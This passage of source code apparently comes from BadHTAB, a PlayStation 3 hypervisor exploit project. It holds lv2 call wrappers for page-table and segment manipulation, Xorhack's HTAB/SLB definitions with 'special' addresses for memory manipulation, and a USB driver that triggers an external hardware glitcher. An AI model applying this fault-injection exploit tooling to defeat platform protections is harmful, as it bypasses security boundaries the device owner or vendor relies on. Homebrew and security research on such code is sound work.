= (uint64_t)lv2_slbie_do; 357 | 358 | ctx.args[0] = esid; 359 | 360 | CallLv2Function(&ctx); 361 | } 362 | 363 | void lv2_slbmte(uint64_t vsid, uint64_t esid) 364 | { 365 | CallLv2Function_Context_s ctx; 366 | ctx.addr = (uint64_t)lv2_slbmte_do; 367 | 368 | ctx.args[0] = vsid; 369 | ctx.args[1] = esid; 370 | 371 | CallLv2Function(&ctx); 372 | } 373 | 374 | void lv2_slbmfev(uint64_t slb_index, uint64_t* out_vsid) 375 | { 376 | CallLv2Function_Context_s ctx; 377 | ctx.addr = (uint64_t)lv2_slbmfev_do; 378 | 379 | ctx.args[0] = slb_index; 380 | 381 | CallLv2Function(&ctx); 382 | 383 | if (out_vsid != NULL) 384 | *out_vsid = ctx.out[1]; 385 | } 386 | 387 | void lv2_slbmfee(uint64_t slb_index, uint64_t* out_esid) 388 | { 389 | CallLv2Function_Context_s ctx; 390 | ctx.addr = (uint64_t)lv2_slbmfee_do; 391 | 392 | ctx.args[0] = slb_index; 393 | 394 | CallLv2Function(&ctx); 395 | 396 | if (out_esid != NULL) 397 | *out_esid = ctx.out[1]; 398 | } 399 | 400 | void lv2_disable_interrupt() 401 | { 402 | CallLv2Function_Context_s ctx; 403 | ctx.addr = (uint64_t)lv2_disable_interrupt_do; 404 | 405 | CallLv2Function(&ctx); 406 | } 407 | 408 | void lv2_enable_interrupt() 409 | { 410 | CallLv2Function_Context_s ctx; 411 | ctx.addr = (uint64_t)lv2_enable_interrupt_do; 412 | 413 | CallLv2Function(&ctx); 414 | } 415 | 416 | void lv2_disable_enable_interrupt() 417 | { 418 | CallLv2Function_Context_s ctx; 419 | ctx.addr = (uint64_t)lv2_disable_enable_interrupt_do; 420 | 421 | CallLv2Function(&ctx); 422 | } 423 | 424 | void lv2_write_lv1_rw_htabe(uint64_t old_vas_id, uint64_t new_vas_id) 425 | { 426 | CallLv2Function_Context_s ctx; 427 | ctx.addr = (uint64_t)lv2_write_lv1_rw_htabe_do; 428 | 429 | ctx.args[1] = old_vas_id; 430 | ctx.args[2] = new_vas_id; 431 | 432 | CallLv2Function(&ctx); 433 | 434 | PrintLog("lv2_write_lv1_rw_htabe() res1 = %d, res2 = %d\n", (int32_t)ctx.out[1], (int32_t)ctx.out[2]); 435 | } 436 | 437 | void lv2_get_pir(uint64_t* out_pir) 438 | { 439 | CallLv2Function_Context_s ctx; 440 | ctx.addr = (uint64_t)lv2_get_pir_do; 441 | 442 | CallLv2Function(&ctx); 443 | 444 | if (out_pir != NULL) 445 | *out_pir = ctx.out[1]; 446 | } 447 | 448 | void lv2_glitcher_test(uint64_t addr, uint64_t size, uint64_t* out_WriteCount) 449 | { 450 | CallLv2Function_Context_s ctx; 451 | ctx.addr = (uint64_t)lv2_glitcher_test_do; 452 | 453 | ctx.args[0] = addr; 454 | ctx.args[1] = size; 455 | 456 | CallLv2Function(&ctx); 457 | 458 | if (out_WriteCount != NULL) 459 | *out_WriteCount = ctx.out[1]; 460 | } 461 | 462 | int32_t lv2_lv1_release_memory_intr(uint64_t lpar_addr) 463 | { 464 | CallLv2Function_Context_s ctx; 465 | ctx.addr = (uint64_t)lv2_lv1_release_memory_intr_do; 466 | 467 | ctx.args[0] = lpar_addr; 468 | 469 | CallLv2Function(&ctx); 470 | 471 | return (int32_t)ctx.out[0]; 472 | } -------------------------------------------------------------------------------- /BadHTAB/source/Xorhack.h: -------------------------------------------------------------------------------- 1 | // 2 | // Hashed Page Table (HTAB) code for PS3 3 | // Based on the info from: 4 | // PowerPC Architecture, Book III v2.02 5 | // Cell Broadband Engine Handbook v1.0 6 | // 7 | // HTAB (VA to RA mapping) 8 | // Used to map one Virtual Page Number (VPN) to its currently assigned 9 | // Real Page Number (RPN). So it specifies a mapping between VA and RA. 10 | // Since the PPE only supports 42bit RAs, the max HTAB size is 16MB. 11 | // 12 | // xorloser - February 2010 13 | // www.xorloser.com 14 | // 15 | 16 | // Allocation page sizes 17 | #define SIZE_4KB (4 * 1024) 18 | #define SIZE_8KB (8 * 1024) 19 | #define SIZE_16KB (16 * 1024) 20 | #define SIZE_32KB (32 * 1024) 21 | #define SIZE_64KB (64 * 1024) 22 | #define SIZE_128KB (128 * 1024) 23 | #define SIZE_256KB (256 * 1024) 24 | #define SIZE_512KB (512 * 1024) 25 | #define SIZE_1MB (1 * 1024 * 1024) 26 | #define SIZE_2MB (2 * 1024 * 1024) 27 | #define SIZE_4MB (4 * 1024 * 1024) 28 | #define SIZE_8MB (8 * 1024 * 1024) 29 | #define SIZE_16MB (16 * 1024 * 1024) 30 | 31 | // Allocation page exponents (2^n) 32 | #define EXP_4KB 12 33 | #define EXP_8KB 13 34 | #define EXP_16KB 14 35 | #define EXP_32KB 15 36 | #define EXP_64KB 16 37 | #define EXP_128KB 17 38 | #define EXP_256KB 18 39 | #define EXP_512KB 19 40 | #define EXP_1MB 20 41 | #define EXP_2MB 21 42 | #define EXP_4MB 22 43 | #define EXP_8MB 23 44 | #define EXP_16MB 24 45 | 46 | // Macro for storing 2 page sizes in one 64bit value 47 | #define PAGE_SIZES(pg0, pg1) (((uint64_t)(pg0) << 56) | ((uint64_t)(pg1) << 48)) 48 | 49 | // Hashed Page Table Entry - 128 bits 50 | typedef union 51 | { 52 | struct 53 | { 54 | // part1: 1st 64bits starts here 55 | uint64_t Reserved : 15; // 0 56 | uint64_t AVPN : 42; // Abbreviated Virtual Page Number (vsid | api == avpn) 57 | uint64_t SW : 4; // Available for software use 58 | uint64_t L : 1; // Large Page Indicator (1=large, 0=4kb) 59 | uint64_t H : 1; // Hash Function Identifier 60 | uint64_t V : 1; // Valid (1=valid, 0=invalid) 61 | 62 | // part2: 2nd 64bits starts here 63 | uint64_t Reserved2 : 22; // 0 64 | uint64_t RPN : 30; // Real Page Number 65 | // uint64_t LP:1; // Large Page Selector (last bit of RPN if L = '1') 66 | uint64_t Reserved3 : 2; // 0 67 | uint64_t AC : 1; // Address Compare bit 68 | uint64_t R : 1; // Reference bit 69 | uint64_t C : 1; // Change bit 70 | uint64_t W : 1; // Write-through. Hardware always treats this as '0' 71 | uint64_t I : 1; // Caching-inhibited bit 72 | uint64_t M : 1; // Memory Coherence. Hardware always treats this as '0' 73 | uint64_t G : 1; // Guarded bit 74 | uint64_t N : 1; // No Execute bit (1=no-execute, 0=allow execute) 75 | uint64_t PP : 2; // Page Protection bits 76 | }; 77 | uint64_t Num[2]; 78 | } HTABE; 79 | 80 | #define HTABE_ZERO(htabe) memset(&(htabe), 0, sizeof(HTABE)) 81 | 82 | #define HTABE_IS_VALID(htabe) ((htabe).V != 0) 83 | 84 | // *** should this be shifted by 7 or 12 ? 85 | #define HTABE_GET_VA(htabe) (((uint64_t)(htabe).AVPN) << 7) 86 | #define HTABE_SET_VA(htabe, va) ((htabe).AVPN = (uint64_t)(va) >> 7) 87 | 88 | // assumes htabe.L has been set with its correct value 89 | #define HTABE_GET_RPN(htabe) ((uint64_t)(htabe).RPN >> ((htabe.L) ? 1 : 0)) 90 | #define HTABE_SET_RPN(htabe, rpn) ((htabe).RPN = (uint64_t)(rpn) << ((htabe.L) ? 1 : 0)) 91 | 92 | // assumes htabe.L has been set with its correct value 93 | #define HTABE_GET_RA(htabe) (((uint64_t)HTABE_GET_RPN(htabe)) << (((htabe).L) ? EXP_16MB : EXP_4KB)) 94 | #define HTABE_SET_RA(htabe, ra) HTABE_SET_RPN((htabe), (uint64_t)(ra) >> (((htabe).L) ? EXP_16MB : EXP_4KB)) 95 | 96 | // va flags 97 | #define HTABE_LARGEPAGE 4 98 | #define HTABE_HASH 2 99 | #define HTABE_VALID 1 100 | #define HTABE_VAMASK 0x1F 101 | 102 | // ra flags 103 | #define HTABE_LARGEPAGESEL 0x1000 104 | #define HTABE_ADDRCMP 0x200 // ? 105 | #define HTABE_ACCESSED 0x100 // R: page referenced 106 | #define HTABE_DIRTY 0x80 // C: page changed 107 | #define HTABE_WRITETHRU 0x40 // W: cache write-through 108 | #define HTABE_NOCACHE 0x20 // I: cache inhibit 109 | #define HTABE_COHERENT 0x10 // M: enforce memory coherence 110 | #define HTABE_GUARDED 0x8 111 | #define HTABE_NOEXEC 0x4 112 | #define HTABE_READONLY 0x3 113 | #define HTABE_READWRITE 0x2 114 | #define HTABE_RAMASK 0x1FFF 115 | 116 | // There are 64K HTAB Entries 117 | #define HTAB_COUNT (SIZE_256KB / sizeof(HTABE)) 118 | 119 | extern void htabe_set_va(HTABE *htabe, uint64_t va, uint64_t flags); 120 | extern void htabe_set_ra(HTABE *htabe, uint64_t ra, uint64_t flags); 121 | extern void htabe_set(HTABE *htabe, uint64_t va, uint64_t vaFlags, uint64_t ra, uint64_t raFlags); 122 | extern void htabe_set_lpar(HTABE *htabe, uint64_t va, uint64_t vaFlags, uint64_t lpar, uint64_t raFlags); 123 | 124 | extern uint64_t htab_ra_from_lpar(uint64_t lparAddr); 125 | 126 | // 127 | 128 | // 129 | // Segment Lookaside Buffer (SLB) code for PS3 130 | // Based on the info from: 131 | // PowerPC Architecture, Book III v2.02 132 | // Cell Broadband Engine Handbook v1.0 133 | // 134 | // SLB (EA to VA mapping) 135 | // Segment Lookaside Buffer (SLB) has two unified (instruction and data) 136 | // caches, one per PPE thread. Each cache has 64 entries and is used to 137 | // provide EA-to-VA translations. The PPE suports 2^37 segments of 256MB 138 | // each. Segments are protected areas of virtual memory. Segments can be 139 | // selected as execute or no-execute. The SLB is maintained with special 140 | // instructions. Each 256MB segment can hold 64K pages of 4KB each (or 141 | // fewer of larger page sizes). The pages that make up a segment can 142 | // overlap, but they must do so completely, not partially. 143 | // 144 | // The small or flat segmentation model is the simplest. It uses a single 145 | // segment for all instructions, data, and stacks. In this model, virtual 146 | // address translation is, in effect, implemented entirely with paging. 147 | // 148 | // Multiple segments can be allocated for use by the instructions, private 149 | // data, and stack of each process. They can also be allocated for shared 150 | // libraries, shared memory-mapped I/O ports, and so forth. Access to 151 | // segments can be protected by access-type and privilege attributes, 152 | // so processes and data can be shared without interference from 153 | // unauthorised programs. 154 | // 155 | // xorloser - February 2010 156 | // www.xorloser.com 157 | // 158 | 159 | // ESID part of SLB entry as accessed by instructions 160 | typedef union 161 | { 162 | struct 163 | { 164 | uint64_t ESID : 36; // Effective Segment ID 165 | uint64_t V : 1; // Valid 166 | uint64_t Zero : 15; // must be set to 0 167 | uint64_t Index : 12; // Index to select the SLB entry 168 | }; 169 | uint64_t Num; 170 | } SLBE_ESID; 171 | 172 | // VSID part of SLB entry as accessed by instructions 173 | typedef union 174 | { 175 | struct 176 | { 177 | uint64_t VSID : 52; // Virtual Segment ID 178 | uint64_t Ks : 1; // Supervisor Key 179 | uint64_t Kp : 1; // Problem Key 180 | uint64_t N : 1; // No-execute 181 | uint64_t L : 1; // Large Page Indicator 182 | uint64_t C : 1; // Class 183 | uint64_t Zero : 7; // must be set to 0 184 | }; 185 | uint64_t Num; 186 | } SLBE_VSID; 187 | 188 | // SLB entry as accessed by instructions 189 | typedef struct 190 | { 191 | SLBE_ESID esid; 192 | SLBE_VSID vsid; 193 | } SLBE; 194 | 195 | #define SLBE_VSID_ZERO(vsid) vsid.Num = 0 196 | #define SLBE_ESID_ZERO(esid) esid.Num = 0 197 | #define SLBE_ZERO(slbe) memset(&(slbe), 0, sizeof(SLBE)) 198 | 199 | #define SLBE_IS_VALID(slbe) ((slbe).esid.V != 0) 200 | 201 | #define SLBE_GET_EA(slbe) (((uint64_t)(slbe).esid.ESID) << 28) 202 | #define SLBE_SET_EA(slbe, ea) (slbe).esid.ESID = ((ea) >> 28) 203 | #define ESID_TO_EA(esid) (((uint64_t)(esid)) << 28) 204 | #define EA_TO_ESID(ea) ((ea) >> 28) 205 | 206 | #define SLBE_GET_VA(slbe) (((uint64_t)(slbe).vsid.VSID) << 12) 207 | #define SLBE_SET_VA(slbe, va) (slbe).vsid.VSID = ((va) >> 12) 208 | #define VSID_TO_VA(vsid) (((uint64_t)(vsid)) << 12) 209 | #define VA_TO_VSID(va) ((va) >> 12) 210 | 211 | #define SLBE_KS 0x800 212 | #define SLBE_KP 0x400 213 | #define SLBE_N 0x200 214 | #define SLBE_L 0x100 215 | #define SLBE_C 0x080 216 | 217 | #define SLBE_KERNEL (SLBE_KP | SLBE_C) 218 | #define SLBE_USER (SLBE_KS | SLBE_KP) 219 | 220 | #define FLAGS_TO_KS(f) (((f) & SLBE_KS) ? 1 : 0) 221 | #define FLAGS_TO_KP(f) (((f) & SLBE_KP) ? 1 : 0) 222 | #define FLAGS_TO_N(f) (((f) & SLBE_N) ? 1 : 0) 223 | #define FLAGS_TO_L(f) (((f) & SLBE_L) ? 1 : 0) 224 | #define FLAGS_TO_C(f) (((f) & SLBE_C) ? 1 : 0) 225 | 226 | // Number of SLB Entries used on the PS3 227 | #define SLB_COUNT 64 228 | 229 | // Global copy of the PS3 SLB 230 | // for use with the functions below 231 | extern SLBE SLB[SLB_COUNT]; 232 | 233 | // calculate kernel vsid value from ea 234 | uint64_t slb_calc_kernel_vsid(uint64_t ea); 235 | 236 | // calculate user vsid value from ea and context 237 | uint64_t slb_calc_user_vsid(uint64_t ea, uint64_t context); 238 | 239 | // slb[esid.index] = invalid 240 | void slb_invalidate_entry(SLBE_ESID esid); 241 | 242 | // slb[esid.index] = vsid|esid 243 | void slb_move_to_entry(SLBE_ESID esid, SLBE_VSID vsid, uint32_t index); 244 | 245 | // vsid = slb[index] 246 | void slb_move_from_entry_vsid(SLBE_VSID *vsid, uint32_t index); 247 | 248 | // esid = slb[index] 249 | void slb_move_from_entry_esid(SLBE_ESID *esid, uint32_t index); 250 | 251 | // This fills the global copy of the PS3 SLB 252 | void slb_read_all_entries(void); 253 | 254 | // Adds an entry to the SLB 255 | void slb_add_segment_ex(uint64_t ea, uint64_t va, 256 | uint32_t Ks, uint32_t Kp, uint32_t N, uint32_t L, uint32_t C); 257 | 258 | // Adds an entry to the SLB, specifying flags that are easier 259 | // to understand at a glance. 260 | void slb_add_segment(uint64_t ea, uint64_t va, uint64_t flags); 261 | 262 | // 263 | 264 | // Special hardcoded addresses used for memory manipulation 265 | #define SPECIAL_EA 0x5000000000000000 266 | #define SPECIAL_VA 0x0000FFFF00000000 267 | #define SPECIAL_VA_MASK 0xFFFFFFFF00000000 268 | 269 | // Special flags used for memory manipulation 270 | #define SPECIAL_VA_FLAGS_VALID (HTABE_VALID) 271 | #define SPECIAL_VA_FLAGS_VALID_LARGE (HTABE_VALID | HTABE_LARGEPAGE) 272 | #define SPECIAL_RA_FLAGS_READONLY (HTABE_ACCESSED | HTABE_DIRTY | HTABE_COHERENT | HTABE_NOEXEC | HTABE_READONLY) 273 | #define SPECIAL_RA_FLAGS_READWRITE (HTABE_ACCESSED | HTABE_DIRTY | HTABE_COHERENT | HTABE_NOEXEC | HTABE_READWRITE) 274 | 275 | // Macro for creating a special effective address from a base address 276 | // and an index into the HTAB. 277 | 278 | #define CALC_SPECIAL_EA(addr, htab_idx, htabe) \ 279 | (uint64_t)((addr) | (((uint64_t)(htab_idx) / 8) ^ ((htabe.AVPN >> 5) & 0x1FFF)) << ((htabe.L) ? EXP_16MB : EXP_4KB)) 280 | 281 | // Macro for creating a special virtual address from a base address 282 | // and an index into the HTAB. 283 | #define CALC_SPECIAL_VA(addr, idx) \ 284 | ((uint64_t)(addr) | (((uint64_t)(idx)) << 16) | ((((((uint64_t)idx) >> 3) ^ (((uint64_t)idx) << 4)) & 0x1800) >> 4)) 285 | 286 | // 287 | 288 | #define PPE_ID0 0 289 | #define PPE_ID1 1 290 | 291 | #define PPE_CPU_ID0 0 292 | #define PPE_CPU_ID1 1 293 | 294 | // -------------------------------------------------------------------------------- /BadHTAB/source/Glitcher.cpp: -------------------------------------------------------------------------------- 1 | #include "Include.h" 2 | 3 | struct GlitcherCtx_s 4 | { 5 | public: 6 | usbLddOps ldd_ops; 7 | 8 | int32_t our_dev_id; 9 | bool found; 10 | 11 | bool config_done; 12 | 13 | int32_t pipe_control; 14 | 15 | int32_t pipe_in; 16 | uint8_t pipe_in_buf[64]; 17 | 18 | int32_t pipe_out; 19 | uint8_t pipe_out_buf[64]; 20 | 21 | bool detach_time; 22 | 23 | bool ack_start; 24 | bool ack_stop; 25 | 26 | bool out_done; 27 | }; 28 | 29 | GlitcherCtx_s glitcher_ctx; 30 | 31 | void Glitcher_callback_in_transfer_done(int32_t result, int32_t count, void *arg) 32 | { 33 | // PrintLog("Glitcher_callback_in_transfer_done, result = %d, count = %d, arg = 0x%lx\n", result, count, (uint64_t)arg); 34 | 35 | if (result != 0) 36 | { 37 | PrintLog("result bad, result = %d\n", result); 38 | 39 | abort(); 40 | return; 41 | } 42 | 43 | if (count != 64) 44 | { 45 | PrintLog("count bad, count = %d\n", count); 46 | 47 | abort(); 48 | return; 49 | } 50 | 51 | uint8_t v = glitcher_ctx.pipe_in_buf[0]; 52 | 53 | // ready to recieve data from device again 54 | 55 | int32_t res; 56 | 57 | res = usbInterruptTransfer( 58 | glitcher_ctx.pipe_in, glitcher_ctx.pipe_in_buf, 64, Glitcher_callback_in_transfer_done, NULL); 59 | 60 | if (res != 0) 61 | { 62 | PrintLog("usbInterruptTransfer failed, res = %d\n", res); 63 | 64 | abort(); 65 | return; 66 | } 67 | 68 | if (v == 0x11) 69 | glitcher_ctx.ack_start = true; 70 | else if (v == 0x22) 71 | glitcher_ctx.ack_stop = true; 72 | else 73 | { 74 | PrintLog("bad v!, v = %u\n", (uint32_t)v); 75 | } 76 | 77 | eieio(); 78 | } 79 | 80 | void Glitcher_callback_out_transfer_done(int32_t result, int32_t count, void *arg) 81 | { 82 | // PrintLog("Glitcher_callback_out_transfer_done, result = %d, count = %d, arg = 0x%lx\n", result, count, (uint64_t)arg); 83 | 84 | if (result != 0) 85 | { 86 | PrintLog("result bad, result = %d\n", result); 87 | 88 | abort(); 89 | return; 90 | } 91 | 92 | if (count != 64) 93 | { 94 | PrintLog("count bad, count = %d\n", count); 95 | 96 | abort(); 97 | return; 98 | } 99 | 100 | glitcher_ctx.out_done = true; 101 | eieio(); 102 | } 103 | 104 | void Glitcher_callback_set_config_done(int32_t result, int32_t count, void *arg) 105 | { 106 | PrintLog("Glitcher_callback_set_config_done, result = %d, count = %d, arg = 0x%lx\n", result, count, (uint64_t)arg); 107 | 108 | if (result != 0) 109 | { 110 | PrintLog("result bad, result = %d\n", result); 111 | 112 | abort(); 113 | return; 114 | } 115 | 116 | PrintLog("config done.\n"); 117 | 118 | // ready to recieve data from device 119 | 120 | int32_t res; 121 | 122 | res = usbInterruptTransfer( 123 | glitcher_ctx.pipe_in, glitcher_ctx.pipe_in_buf, 64, Glitcher_callback_in_transfer_done, NULL); 124 | 125 | if (res != 0) 126 | { 127 | PrintLog("usbInterruptTransfer failed, res = %d\n", res); 128 | 129 | abort(); 130 | return; 131 | } 132 | 133 | glitcher_ctx.config_done = true; 134 | eieio(); 135 | } 136 | 137 | int32_t Glitcher_ldd_ops_probe(int32_t dev_id) 138 | { 139 | PrintLog("Glitcher_ldd_ops_probe: dev_id = %d\n", dev_id); 140 | 141 | glitcher_ctx.our_dev_id = dev_id; 142 | 143 | PrintLog("Probe success!!\n"); 144 | return USB_PROBE_SUCCEEDED; 145 | } 146 | 147 | int32_t Glitcher_ldd_ops_attach(int32_t dev_id) 148 | { 149 | PrintLog("Glitcher_ldd_ops_attach: dev_id = %d\n", dev_id); 150 | 151 | if (dev_id != glitcher_ctx.our_dev_id) 152 | { 153 | PrintLog("Not match our dev id, ignored\n"); 154 | 155 | return USB_ATTACH_FAILED; 156 | } 157 | 158 | bool device_checked = false; 159 | 160 | bool config_checked = false; 161 | usbConfigDescriptor *config_desc = NULL; 162 | 163 | bool interface_checked = false; 164 | 165 | bool in_endpoint_checked = false; 166 | bool out_endpoint_checked = false; 167 | 168 | usbEndpointDescriptor *in_endpoint_desc = NULL; 169 | usbEndpointDescriptor *out_endpoint_desc = NULL; 170 | 171 | uint8_t *desc = NULL; 172 | 173 | while (1) 174 | { 175 | desc = (uint8_t *)usbScanStaticDescriptor(dev_id, desc, 0); 176 | 177 | if (desc == NULL) 178 | break; 179 | 180 | if (desc[1] == USB_DESCRIPTOR_TYPE_DEVICE) 181 | { 182 | usbDeviceDescriptor *d = (usbDeviceDescriptor *)desc; 183 | 184 | PrintLog("Checking device...\n"); 185 | 186 | PrintLog("bcdUSB = 0x%x\n", (uint32_t)d->bcdUSB); 187 | PrintLog("bMaxPacketSize0 = 0x%x\n", (uint32_t)d->bMaxPacketSize0); 188 | PrintLog("idVendor = 0x%x\n", (uint32_t)d->idVendor); 189 | PrintLog("idProduct = 0x%x\n", (uint32_t)d->idProduct); 190 | 191 | // bcdUSB = 0x2 192 | // bMaxPacketSize0 = 0x40 193 | // idVendor = 0x527 194 | // idProduct = 0x2705 195 | 196 | // vendor and product got swaped, header is wrong 197 | 198 | if (d->bcdUSB != 0x2 || d->bMaxPacketSize0 != 0x40 || 199 | d->idProduct != 0x2705 || d->idVendor != 0x0527) 200 | { 201 | PrintLog("device check failed\n"); 202 | continue; 203 | } 204 | 205 | PrintLog("device check ok\n"); 206 | device_checked = true; 207 | 208 | continue; 209 | } 210 | 211 | if (desc[1] == USB_DESCRIPTOR_TYPE_CONFIG) 212 | { 213 | usbConfigDescriptor *d = (usbConfigDescriptor *)desc; 214 | 215 | PrintLog("Checking config...\n"); 216 | 217 | if (d->bNumInterfaces != 1) 218 | { 219 | PrintLog("config check failed\n"); 220 | continue; 221 | } 222 | 223 | PrintLog("config check ok\n"); 224 | 225 | config_checked = true; 226 | config_desc = d; 227 | 228 | continue; 229 | } 230 | 231 | if (desc[1] == USB_DESCRIPTOR_TYPE_INTERFACE) 232 | { 233 | usbInterfaceDescriptor *d = (usbInterfaceDescriptor *)desc; 234 | 235 | PrintLog("Checking interface...\n"); 236 | 237 | if (d->bNumEndpoints != 2) 238 | { 239 | PrintLog("interface check failed\n"); 240 | continue; 241 | } 242 | 243 | PrintLog("interface check ok\n"); 244 | interface_checked = true; 245 | 246 | continue; 247 | } 248 | 249 | if (desc[1] == USB_DESCRIPTOR_TYPE_ENDPOINT) 250 | { 251 | usbEndpointDescriptor *d = (usbEndpointDescriptor *)desc; 252 | 253 | PrintLog("Checking endpoint...\n"); 254 | 255 | uint8_t direction = (d->bEndpointAddress & USB_ENDPOINT_DIRECTION_BITS); 256 | uint8_t transfer = (d->bmAttributes & USB_ENDPOINT_TRANSFER_TYPE_BITS); 257 | 258 | if (direction == USB_ENDPOINT_DIRECTION_IN) 259 | { 260 | if (transfer != USB_ENDPOINT_TRANSFER_TYPE_INTERRUPT) 261 | { 262 | PrintLog("in endpoint check failed\n"); 263 | continue; 264 | } 265 | 266 | PrintLog("in endpoint check ok\n"); 267 | 268 | in_endpoint_checked = true; 269 | in_endpoint_desc = d; 270 | 271 | continue; 272 | } 273 | 274 | if (direction == USB_ENDPOINT_DIRECTION_OUT) 275 | { 276 | if (transfer != USB_ENDPOINT_TRANSFER_TYPE_INTERRUPT) 277 | { 278 | PrintLog("out endpoint check failed\n"); 279 | continue; 280 | } 281 | 282 | PrintLog("out endpoint check ok\n"); 283 | 284 | out_endpoint_checked = true; 285 | out_endpoint_desc = d; 286 | 287 | continue; 288 | } 289 | 290 | PrintLog("endpoint check failed\n"); 291 | continue; 292 | } 293 | 294 | PrintLog("Unhandled desc type %d\n", (int32_t)desc[1]); 295 | } 296 | 297 | if (!device_checked || !config_checked || !interface_checked || !in_endpoint_checked || !out_endpoint_checked) 298 | { 299 | PrintLog("Check failed! abort!\n"); 300 | 301 | abort(); 302 | return USB_ATTACH_FAILED; 303 | } 304 | 305 | glitcher_ctx.pipe_control = usbOpenPipe(dev_id, NULL); 306 | 307 | if (glitcher_ctx.pipe_control < 0) 308 | { 309 | PrintLog("control usbOpenPipe failed!, res = %d\n", glitcher_ctx.pipe_control < 0); 310 | 311 | abort(); 312 | return USB_ATTACH_FAILED; 313 | } 314 | 315 | glitcher_ctx.pipe_in = usbOpenPipe(dev_id, in_endpoint_desc); 316 | 317 | if (glitcher_ctx.pipe_in < 0) 318 | { 319 | PrintLog("in usbOpenPipe failed!, res = %d\n", glitcher_ctx.pipe_in < 0); 320 | 321 | abort(); 322 | return USB_ATTACH_FAILED; 323 | } 324 | 325 | glitcher_ctx.pipe_out = usbOpenPipe(dev_id, out_endpoint_desc); 326 | 327 | if (glitcher_ctx.pipe_out < 0) 328 | { 329 | PrintLog("in usbOpenPipe failed!, res = %d\n", glitcher_ctx.pipe_out < 0); 330 | 331 | abort(); 332 | return USB_ATTACH_FAILED; 333 | } 334 | 335 | glitcher_ctx.config_done = false; 336 | 337 | usbSetConfiguration(glitcher_ctx.pipe_control, config_desc->bConfigurationValue, 338 | Glitcher_callback_set_config_done, NULL); 339 | 340 | while (!glitcher_ctx.config_done) 341 | { 342 | } 343 | 344 | PrintLog("Attach success!!\n"); 345 | glitcher_ctx.found = true; 346 | eieio(); 347 | 348 | return USB_ATTACH_SUCCEEDED; 349 | } 350 | 351 | int32_t Glitcher_ldd_ops_detach(int32_t dev_id) 352 | { 353 | PrintLog("Glitcher_ldd_ops_detach: dev_id = %d\n", dev_id); 354 | 355 | if (!glitcher_ctx.detach_time || !glitcher_ctx.found) 356 | { 357 | PrintLog("Not detach time! abort!\n"); 358 | abort(); 359 | 360 | return USB_DETACH_FAILED; 361 | } 362 | 363 | int32_t res; 364 | 365 | res = usbClosePipe(glitcher_ctx.pipe_out); 366 | 367 | if (res != 0) 368 | { 369 | PrintLog("out usbClosePipe failed!, res = %d\n", res); 370 | 371 | abort(); 372 | return USB_ATTACH_FAILED; 373 | } 374 | 375 | res = usbClosePipe(glitcher_ctx.pipe_in); 376 | 377 | if (res != 0) 378 | { 379 | PrintLog("in usbClosePipe failed!, res = %d\n", res); 380 | 381 | abort(); 382 | return USB_ATTACH_FAILED; 383 | } 384 | 385 | res = usbClosePipe(glitcher_ctx.pipe_control); 386 | 387 | if (res != 0) 388 | { 389 | PrintLog("control usbClosePipe failed!, res = %d\n", res); 390 | 391 | abort(); 392 | return USB_ATTACH_FAILED; 393 | } 394 | 395 | glitcher_ctx.found = false; 396 | 397 | PrintLog("Detach success!!\n"); 398 | return USB_DETACH_SUCCEEDED; 399 | } 400 | 401 | void Glitcher_Init() 402 | { 403 | PrintLog("Glitcher_Init()\n"); 404 | 405 | int32_t res; 406 | 407 | res = sysModuleLoad(SYSMODULE_USB); 408 | 409 | if (res != 0) 410 | { 411 | PrintLog("sysModuleLoad failed!, res = %d\n", res); 412 | 413 | abort(); 414 | return; 415 | } 416 | 417 | res = usbInit(); 418 | 419 | if (res != 0) 420 | { 421 | PrintLog("usbInit failed!, res = %d\n", res); 422 | 423 | abort(); 424 | return; 425 | } 426 | 427 | // 428 | 429 | glitcher_ctx.ldd_ops.name = "desc"; 430 | 431 | glitcher_ctx.ldd_ops.probe = Glitcher_ldd_ops_probe; 432 | 433 | glitcher_ctx.ldd_ops.attach = Glitcher_ldd_ops_attach; 434 | glitcher_ctx.ldd_ops.detach = Glitcher_ldd_ops_detach; 435 | 436 | // 437 | 438 | glitcher_ctx.detach_time = false; 439 | glitcher_ctx.found = false; 440 | 441 | // 442 | 443 | res = usbRegisterExtraLdd(&glitcher_ctx.ldd_ops, 0x2705, 0x0527); 444 | 445 | if (res != 0) 446 | { 447 | PrintLog("usbRegisterExtraLdd failed!, res = %d\n", res); 448 | 449 | abort(); 450 | return; 451 | } 452 | 453 | while (!glitcher_ctx.found) 454 | { 455 | } 456 | 457 | if (!glitcher_ctx.found) 458 | { 459 | PrintLog("Glitcher not found!, abort!\n"); 460 | 461 | abort(); 462 | return; 463 | } 464 | 465 | // 466 | 467 | WaitInMs(500); 468 | 469 | PrintLog("Glitcher_Init() done\n"); 470 | } 471 | 472 | void Glitcher_Destroy() 473 | { 474 | PrintLog("Glitcher_Destroy()\n"); 475 | 476 | // can never detach 477 | glitcher_ctx.detach_time = false; 478 | 479 | int32_t res; 480 | 481 | res = usbUnregisterExtraLdd(&glitcher_ctx.ldd_ops); 482 | 483 | if (res != 0) 484 | { 485 | PrintLog("usbUnregisterExtraLdd failed!, res = %d\n", res); 486 | 487 | abort(); 488 | return; 489 | } 490 | 491 | #if 0 492 | 493 | while (glitcher_ctx.found) {}; 494 | 495 | if (glitcher_ctx.found) 496 | { 497 | PrintLog("Glitcher not detach!, abort!\n"); 498 | 499 | abort(); 500 | return; 501 | } 502 | 503 | #endif 504 | 505 | res = usbEnd(); 506 | 507 | if (res != 0) 508 | { 509 | PrintLog("usbEnd failed!, res = %d\n", res); 510 | 511 | abort(); 512 | return; 513 | } 514 | 515 | res = sysModuleUnload(SYSMODULE_USB); 516 | 517 | if (res != 0) 518 | { 519 | PrintLog("sysModuleUnload failed!, res = %d\n", res); 520 | 521 | abort(); 522 | return; 523 | } 524 | 525 | PrintLog("Glitcher_Destroy() done\n"); 526 | } 527 | 528 | void Glitcher_Start() 529 | { 530 | // PrintLog("Glitcher_Start()\n"); 531 | 532 | glitcher_ctx.out_done = false; 533 | glitcher_ctx.ack_start = false; 534 | 535 | glitcher_ctx.pipe_out_buf[0] = 0x44; 536 | 537 | eieio(); 538 | 539 | int32_t res; 540 | 541 | // uint64_t t1 = GetTimeInUs(); 542 | 543 | res = usbInterruptTransfer( 544 | glitcher_ctx.pipe_out, glitcher_ctx.pipe_out_buf, 64, Glitcher_callback_out_transfer_done, NULL); 545 | 546 | if (res != 0) 547 | { 548 | PrintLog("usbInterruptTransfer failed, res = %d\n", res); 549 | 550 | abort(); 551 | return; 552 | } 553 | 554 | while (!glitcher_ctx.out_done) 555 | { 556 | } 557 | // uint64_t t2 = GetTimeInUs(); 558 | while (!glitcher_ctx.ack_start) 559 | { 560 | } 561 